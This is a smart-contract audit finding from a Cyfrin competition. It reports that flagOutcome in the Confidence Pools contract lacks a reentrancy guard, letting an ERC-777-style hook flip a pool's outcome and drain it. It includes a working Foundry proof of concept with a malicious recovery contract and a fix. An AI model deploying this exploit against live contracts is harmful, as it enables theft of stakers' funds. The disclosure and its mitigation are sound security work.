BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: medium
Likelihood: low

`flagOutcome` missing `nonReentrant` allows cross-function reentrancy that can drain the pool

Author Revealed upon completion

Root + Impact

flagOutcome is missing the nonReentrant modifier, allowing a cross-function reentrancy via ERC-777/ERC-223/ERC-677 hook tokens that can flip the outcome mid-transaction and drain the entire pool.

Description

  • Every other state-changing function in the contract (stake, withdraw, claimSurvived, claimCorrupted, claimAttackerBounty, sweepUnclaimedCorrupted, sweepUnclaimedBonus, claimExpired) carries the nonReentrant guard. flagOutcome is the only function modifying outcome-critical state without it.

  • When the stake token is an ERC-777/ERC-223/ERC-677 (admitted through factory governance), sweepUnclaimedBonus triggers tokensReceived on the recoveryAddress contract. If recoveryAddress is moderator-controlled, the callback re-enters flagOutcome(CORRUPTED, true, attacker), flips the outcome from SURVIVED to CORRUPTED, and allows the attacker to drain the remaining pool via claimAttackerBounty().

// @> flagOutcome missing nonReentrant — only state-changing function without it
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_)
external
onlyModerator
// no nonReentrant
{

Risk

Likelihood:

  • The factory owner must allowlist a hook-bearing token (ERC-777/ERC-223/ERC-677) contrary to the documented standard-ERC-20-only policy

  • The moderator must set recoveryAddress to a contract (or control one that implements tokensReceived), combining two privileged roles

Impact:

  • The full pool balance can be drained by the attacker via claimAttackerBounty() after the outcome is flipped from SURVIVED to CORRUPTED

  • Stakers who verified the SURVIVED outcome receive nothing despite the pool being resolved in their favor

Proof of Concept

The reentrancy requires the pool to use a hook-bearing stake token (ERC-777/ERC-223 — a factory governance error) and a recoveryAddress contract that is also the moderator. The exploit works in six steps:

Step 1 — Deploy MockHookToken (an ERC-20 that calls tokensReceived on the recipient during transfer, simulating ERC-777 hooks).

Step 2 — Deploy MaliciousRecovery implementing IERC777Recipient. Its tokensReceived callback calls flagOutcome(CORRUPTED, true, attacker) — and because flagOutcome lacks nonReentrant, this call succeeds even when triggered from inside a nonReentrant sweep function.

Step 3 — Initialize the pool with MaliciousRecovery as both outcomeModerator and recoveryAddress.

Step 4 — Standard setup: Alice stakes 100 ONE, Carol contributes 50 ONE bonus, registry transits through UNDER_ATTACK to CORRUPTED.

Step 5 — Moderator flags SURVIVED (scope-blind judgement). A 1 ONE donation is sent to the pool to create sweepable surplus above the reserved principal.

Step 6 — The reentrancy trigger:

sweepUnclaimedBonus() ← has nonReentrant
└─ stakeToken.safeTransfer( malicious ) ← ERC-777 hook fires
└─ malicious.tokensReceived()
└─ flagOutcome(CORRUPTED) ← NO nonReentrant → SUCCEEDS
└─ outcome = CORRUPTED
└─ bountyEntitlement = totalStaked + totalBonus

After the call returns, the attacker calls claimAttackerBounty() and drains the full 150 ONE pool.

// ── MockHookToken: ERC-20 that simulates ERC-777 hooks ──
contract MockHookToken is ERC20 {
function _update(address from, address to, uint256 value) internal override {
super._update(from, to, value);
if (from != address(0) && to != address(0) && to.code.length > 0) {
try IERC777Recipient(to).tokensReceived(from, from, to, value, "", "") {} catch {}
}
}
}
​
// ── MaliciousRecovery: receives hook, re-enters flagOutcome ──
contract MaliciousRecovery is IERC777Recipient {
ConfidencePool pool;
address attacker;
​
function tokensReceived(
address, address, address, uint256, bytes calldata, bytes calldata
) external override {
if (pool.outcome() == PoolStates.Outcome.SURVIVED) {
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
}
}
}
​
// ── Forge test ──
function testPoC11_reentrancyFlagOutcome() external {
MockHookToken hook = new MockHookToken();
MaliciousRecovery malicious = new MaliciousRecovery();
​
// Pool with malicious as moderator AND recoveryAddress
ConfidencePool pool = _deployPool(address(hook), address(malicious), address(malicious));
malicious.configure(pool, attacker);
​
// Fund, stake, contribute bonus, transit to CORRUPTED
_mintStake(alice, 100 ether, hook, pool);
_mintStake(carol, 50 ether, hook, pool);
vm.prank(carol); hook.approve(address(pool), 50 ether);
vm.prank(carol); pool.contributeBonus(50 ether);
_passThroughUnderAttack(pool);
attackRegistry.setAgreementState(CORRUPTED);
​
// Moderator flags SURVIVED
vm.prank(address(malicious));
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
​
// Donation → sweepable surplus → reentrancy → outcome flips to CORRUPTED
hook.mint(address(pool), 1 ether);
pool.sweepUnclaimedBonus(); // triggers reentrancy
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED));
​
// Attacker drains full pool
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(hook.balanceOf(attacker), 150 ether);
}

Run: forge test --match-test testPoC11 -vv

Recommended Mitigation

function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_)
external
onlyModerator
+ nonReentrant
{
// ...existing logic...
}

Adding nonReentrant closes the cross-function reentrancy path from any hook-bearing token transfer (sweepUnclaimedBonus, sweepUnclaimedCorrupted, or future transfer entrypoints) without changing moderator re-flag semantics or requiring a token allowlist policy change.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!